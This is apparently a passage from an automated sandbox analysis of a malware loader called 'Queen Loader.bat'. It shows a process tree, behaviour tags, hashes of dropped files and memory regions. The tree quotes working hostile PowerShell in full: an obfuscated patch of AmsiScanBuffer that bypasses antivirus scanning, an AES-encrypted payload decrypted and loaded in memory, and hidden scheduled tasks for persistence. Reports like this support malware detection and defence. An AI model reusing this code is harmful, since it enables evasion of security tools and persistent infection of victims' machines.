$_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'stem'+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+'r'+''+'o'+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+'.'+''+[Char](87)+''+'i'+''+[Char](110)+''+[Char](51)+''+'2'+'.'+'U'+''+'n'+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+'N'+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+'e'+''+[Char](77)+''+[Char](101)+''+'t'+''+[Char](104)+'o'+'d'+'s');$myiDoLfoYjoMWD=$qhuMRxUgHNTxj.GetMethod(''+'G'+''+'e'+'tP'+'r'+'o'+'c'+''+'A'+''+'d'+''+[Char](100)+''+[Char](114)+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags]('P'+[Char](117)+'blic,'+[Char](83)+'t'+[Char](97)+''+[Char](116)+'i'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$ZoLSJgMHVcPVZCTnrog=atfYqTIRigYx @([String])([IntPtr]);$YUIRtJkqWWhccjThWlFqTL=atfYqTIRigYx @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$AOklYGIYjLg=$qhuMRxUgHNTxj.GetMethod('G'+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+'H'+[Char](97)+''+[Char](110)+''+'d'+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+'n'+''+'e'+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+'l'+''+'l'+'')));$ROEfnjFpYBmyrr=$myiDoLfoYjoMWD.Invoke($Null,@([Object]$AOklYGIYjLg,[Object](''+[Char](76)+'o'+[Char](97)+''+'d'+''+[Char](76)+''+'i'+''+'b'+'rar'+[Char](121)+''+'A'+'')));$lhHXpSDhaWcNUrUsv=$myiDoLfoYjoMWD.Invoke($Null,@([Object]$AOklYGIYjLg,[Object](''+[Char](86)+''+'i'+'rt'+'u'+''+[Char](97)+''+'l'+''+[Char](80)+''+[Char](114)+'o'+[Char](116)+''+[Char](101)+'c'+[Char](116)+'')));$XYcweBG=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ROEfnjFpYBmyrr,$ZoLSJgMHVcPVZCTnrog).Invoke(''+'a'+''+[Char](109)+''+'s'+''+[Char](105)+'.d'+'l'+'l');$kmKBYjfEEuiUZdUwt=$myiDoLfoYjoMWD.Invoke($Null,@([Object]$XYcweBG,[Object](''+'A'+''+[Char](109)+''+[Char](115)+'iS'+[Char](99)+'a'+[Char](110)+'B'+'u'+''+'f'+''+'f'+''+[Char](101)+'r')));$uWVHacTOEz=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lhHXpSDhaWcNUrUsv,$YUIRtJkqWWhccjThWlFqTL).Invoke($kmKBYjfEEuiUZdUwt,[uint32]8,4,[ref]$uWVHacTOEz);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$kmKBYjfEEuiUZdUwt,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lhHXpSDhaWcNUrUsv,$YUIRtJkqWWhccjThWlFqTL).Invoke($kmKBYjfEEuiUZdUwt,[uint32]8,0x20,[ref]$uWVHacTOEz);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+''+'T'+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue('$7'+[Char](55)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3660
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s nsi1⤵PID:1148
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵PID:1208
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s EventSystem1⤵PID:1236
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵PID:1244
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp1⤵PID:1340
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵PID:1400
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵PID:1448
-
c:\windows\system32\sihost.exesihost.exe2⤵PID:2676
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder1⤵PID:1484
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s NlaSvc1⤵PID:1500
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s Dnscache1⤵PID:1556
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted1⤵PID:1644
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s netprofm1⤵PID:1700
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted1⤵PID:1756
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted1⤵PID:1764
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵PID:1828
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k appmodel -s StateRepository1⤵PID:1852
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1996
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation1⤵PID:1692
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵PID:2096
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc1⤵PID:2252
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent1⤵PID:2508
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵PID:2516
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵PID:2524
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc1⤵PID:2668
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵PID:2704
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s CryptSvc1⤵
- Drops file in System32 directory
PID:2716
-
C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2732
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks1⤵PID:2780
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵PID:2796
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s TokenBroker1⤵PID:3068
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2480
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3352
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Queen Loader.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:3296 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Queen Loader.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Queen Loader.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3652 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_995_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_995.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4908 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_995.vbs"4⤵
- Suspicious use of WriteProcessMemory
PID:520 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_995.bat" "5⤵
- Suspicious use of WriteProcessMemory
PID:3984 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:4924
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_995.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_995.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2400 -
C:\Users\Admin\AppData\Local\Temp\New.exe"C:\Users\Admin\AppData\Local\Temp\New.exe"7⤵
- Executes dropped EXE
PID:4220 -
C:\Windows\SysWOW64\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77New.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\New.exe'" /sc onlogon /rl HIGHEST8⤵
- Creates scheduled task(s)
PID:2920 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV19⤵PID:5064
-
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"7⤵
- Executes dropped EXE
PID:5116
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3856
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4056
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s CDPSvc1⤵PID:4668
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV1⤵PID:4500
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:3536
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2396
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s wlidsvc1⤵PID:3656
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3992
-
C:\Windows\system32\ApplicationFrameHost.exeC:\Windows\system32\ApplicationFrameHost.exe -Embedding1⤵PID:4680
-
C:\Windows\System32\InstallAgent.exeC:\Windows\System32\InstallAgent.exe -Embedding1⤵PID:2924
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵PID:640
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe1⤵PID:1104
-
C:\Windows\sysWOW64\wbem\wmiprvse.exeC:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding1⤵PID:920
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks processor information in registry
PID:208
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.logFilesize
2KB
MD5ac3d19fbb5c5f10833f1882308f77548
SHA1ac880466fd99a5719fedc7289b00d78ba7088e06
SHA2563353b90af649198e084632af776f8c6ea3a9302da5a50d85f7ecde1c7ad295df
SHA512b5e6369d7f475e9931d19fb2a5305b4c901ca5fcac5d788d064b6a1b1d6de2034e84932ac243d5056c745b924a2e9537a06b4172fab364402263788c814bc28b
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
17KB
MD5510a5d8acfa3cbfba5cb6b7bd8d6368d
SHA13f2abcd61279f4d3399a9c637f68fe405f0f1271
SHA25642dd0bc9f3052b1c8c4e3ac5ad20cabcfccd899ffc21f7dafb6af3677a8849e9
SHA5122e8356fd6b984f6bdcb0a75d37fca2c6d95fbc895dbe220449bbf77f1bc56ab02da100d462fd19f32abee6d265522b576126d81c8da3bcaa1f711283ec8ce458
-
C:\Users\Admin\AppData\Local\Temp\Install.exeFilesize
163KB
MD5b51552b77057c2405f73bbbf9c89234a
SHA14793adbba023f90d2d2ad0ec55199c56de815224
SHA256720e6962d75e37e8b47b160c5b3f60433a341f00abf60041630116b26858fbb0
SHA512564f4104e6e398eeef8acc7ce7cab694b6eebbe4233b7cb359829242b949dc7c5bf124a550a4d0402eb7da19b8bec6c1f6753563b17a8ae36fb639be595b8d66
-
C:\Users\Admin\AppData\Local\Temp\New.exeFilesize
409KB
MD5cf570b21f42f0ce411b7c9961068931e
SHA1f92aa688a1dbd64a4585ecfe80a9c2d7f408c57d
SHA256d0c4045c70a0822806a4e56d7883821cd2c19362f1cfed3bcbdb1e1b8eb15234
SHA512de9dce8300656cd8531569011d043373193cbda125b738e66a5bf107178b48781d6dc88eea696b2074c352a1bf56a4693cfae62e668993ac24ce18aebfdcd684
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bfv2metf.ur4.ps1Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
C:\Users\Admin\AppData\Roaming\startup_str_995.batFilesize
1002KB
MD5f6d5bfaee8a55ff72c7b453fda066d62
SHA17d737d53013990e5d05076b7206e43eb4793fc7f
SHA2563ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308
SHA512e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284
-
C:\Users\Admin\AppData\Roaming\startup_str_995.vbsFilesize
115B
MD5e9b65085d684c32281993a96ec54e102
SHA12c460e05939c54617e448c70545a3c4cf5fc6bce
SHA256ed07094dbaac3f1284a5c92fc759c241c54500b9c1271b4ae759f83fe34fe5ec
SHA5125247aa216c31854d47afa61ee2196699018c3ccf79595c40c2aea3005ac394598c5fd13b49228221e43d1891a824818611660adcc2d060913fdf78da9f464d8a
-
C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04Filesize
412B
MD5b2d035b19fc92d5613bc70afac5d76c8
SHA165eaf0b85d6e6d1b5aed7d381e2239ffcf812264
SHA25679f5fbb3d334d1088277bc2616d2e1f074590cfb4ded2f08c859c33894f89456
SHA51215d075bbd79521feaeefcf657b6a7c0bdc4b91f9e2a772f95129648f482112c4e3007f47d18690acbde48baed6aa0022421d6b367634bfc4e455042530718e77
-
memory/568-275-0x000002609AD10000-0x000002609AD3A000-memory.dmpFilesize
168KB
-
memory/568-270-0x000002609AD10000-0x000002609AD3A000-memory.dmpFilesize
168KB
-
memory/568-268-0x000002609ACE0000-0x000002609AD05000-memory.dmpFilesize
148KB
-
memory/568-269-0x000002609AD10000-0x000002609AD3A000-memory.dmpFilesize
168KB
-
memory/568-276-0x00007FFDF63A0000-0x00007FFDF63B0000-memory.dmpFilesize
64KB
-
memory/632-286-0x00007FFDF63A0000-0x00007FFDF63B0000-memory.dmpFilesize
64KB
-
memory/632-280-0x0000020D80600000-0x0000020D8062A000-memory.dmpFilesize
168KB
-
memory/632-285-0x0000020D80600000-0x0000020D8062A000-memory.dmpFilesize
168KB
-
memory/720-296-0x00007FFDF63A0000-0x00007FFDF63B0000-memory.dmpFilesize
64KB
-
memory/720-290-0x000001D64CA00000-0x000001D64CA2A000-memory.dmpFilesize
168KB
-
memory/720-295-0x000001D64CA00000-0x000001D64CA2A000-memory.dmpFilesize
168KB
-
memory/908-300-0x0000021BDAB90000-0x0000021BDABBA000-memory.dmpFilesize
168KB
-
memory/908-306-0x00007FFDF63A0000-0x00007FFDF63B0000-memory.dmpFilesize
64KB
-
memory/908-305-0x0000021BDAB90000-0x0000021BDABBA000-memory.dmpFilesize
168KB
-
memory/984-316-0x00007FFDF63A0000-0x00007FFDF63B0000-memory.dmpFilesize
64KB
-
memory/984-310-0x0000022788520000-0x000002278854A000-memory.dmpFilesize
168KB
-
memory/984-315-0x0000022788520000-0x000002278854A000-memory.dmpFilesize
168KB
-
memory/2400-205-0x000000000A9B0000-0x000000000AA42000-memory.dmpFilesize
584KB
-
memory/2400-204-0x000000000A7B0000-0x000000000A81C000-memory.dmpFilesize
432KB
-
memory/2400-225-0x0000000006EF0000-0x0000000006F02000-memory.dmpFilesize
72KB
-
memory/2400-923-0x000000000A640000-0x000000000A64A000-memory.dmpFilesize
40KB
-
memory/2400-913-0x000000000A5E0000-0x000000000A61E000-memory.dmpFilesize
248KB
-
memory/3652-7-0x00000000079F0000-0x0000000007A12000-memory.dmpFilesize
136KB
-
memory/3652-34-0x00000000094B0000-0x00000000095A2000-memory.dmpFilesize
968KB
-
memory/3652-6-0x0000000073130000-0x000000007381E000-memory.dmpFilesize
6.9MB
-
memory/3652-35-0x000000000D2E0000-0x000000000D7DE000-memory.dmpFilesize
5.0MB
-
memory/3652-4-0x0000000073130000-0x000000007381E000-memory.dmpFilesize
6.9MB
-
memory/3652-2-0x000000007313E000-0x000000007313F000-memory.dmpFilesize
4KB
-
memory/3652-207-0x0000000073130000-0x000000007381E000-memory.dmpFilesize
6.9MB
-
memory/3652-8-0x0000000007A90000-0x0000000007AF6000-memory.dmpFilesize
408KB
-
memory/3652-9-0x0000000007CE0000-0x0000000007D46000-memory.dmpFilesize
408KB
-
memory/3652-26-0x0000000073130000-0x000000007381E000-memory.dmpFilesize
6.9MB
-
memory/3652-3-0x0000000004CB0000-0x0000000004CE6000-memory.dmpFilesize
216KB
-
memory/3652-33-0x00000000091C0000-0x00000000091C8000-memory.dmpFilesize
32KB
-
memory/3652-32-0x00000000091F0000-0x000000000920A000-memory.dmpFilesize
104KB
-
memory/3652-5-0x0000000007350000-0x0000000007978000-memory.dmpFilesize
6.2MB
-
memory/3652-31-0x000000000AC60000-0x000000000B2D8000-memory.dmpFilesize
6.5MB
-
memory/3652-10-0x0000000007DB0000-0x0000000008100000-memory.dmpFilesize
3.3MB
-
memory/3652-13-0x0000000007C60000-0x0000000007C7C000-memory.dmpFilesize
112KB
-
memory/3652-14-0x00000000086D0000-0x000000000871B000-memory.dmpFilesize
300KB
-
memory/3652-15-0x0000000008410000-0x0000000008486000-memory.dmpFilesize
472KB
-
memory/3660-251-0x0000029E72590000-0x0000029E725BA000-memory.dmpFilesize
168KB
-
memory/3660-252-0x00007FFE36310000-0x00007FFE364EB000-memory.dmpFilesize
1.9MB
-
memory/3660-253-0x00007FFE341A0000-0x00007FFE3424E000-memory.dmpFilesize
696KB
-
memory/3660-233-0x0000029E725D0000-0x0000029E72646000-memory.dmpFilesize
472KB
-
memory/3660-230-0x0000029E71FC0000-0x0000029E71FE2000-memory.dmpFilesize
136KB
-
memory/4220-224-0x0000000000D90000-0x0000000000DFC000-memory.dmpFilesize
432KB
-
memory/4908-46-0x0000000073130000-0x000000007381E000-memory.dmpFilesize
6.9MB
-
memory/4908-63-0x00000000096F0000-0x0000000009723000-memory.dmpFilesize
204KB
-
memory/4908-73-0x0000000009A10000-0x0000000009AA4000-memory.dmpFilesize
592KB
-
memory/4908-158-0x0000000073130000-0x000000007381E000-memory.dmpFilesize
6.9MB
-
memory/4908-166-0x0000000073130000-0x000000007381E000-memory.dmpFilesize
6.9MB
-
memory/4908-45-0x0000000073130000-0x000000007381E000-memory.dmpFilesize
6.9MB
-
memory/4908-71-0x0000000009870000-0x0000000009915000-memory.dmpFilesize
660KB
-
memory/4908-66-0x00000000096D0000-0x00000000096EE000-memory.dmpFilesize
120KB
-
memory/4908-64-0x000000006FD30000-0x000000006FD7B000-memory.dmpFilesize
300KB
-
memory/4908-65-0x0000000073130000-0x000000007381E000-memory.dmpFilesize
6.9MB
-
memory/4908-72-0x0000000073130000-0x000000007381E000-memory.dmpFilesize
6.9MB
-
memory/5100-262-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/5100-257-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/5100-256-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/5100-255-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/5100-254-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/5100-263-0x00007FFE36310000-0x00007FFE364EB000-memory.dmpFilesize
1.9MB
-
memory/5100-264-0x00007FFE341A0000-0x00007FFE3424E000-memory.dmpFilesize
696KB
-
memory/5100-265-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB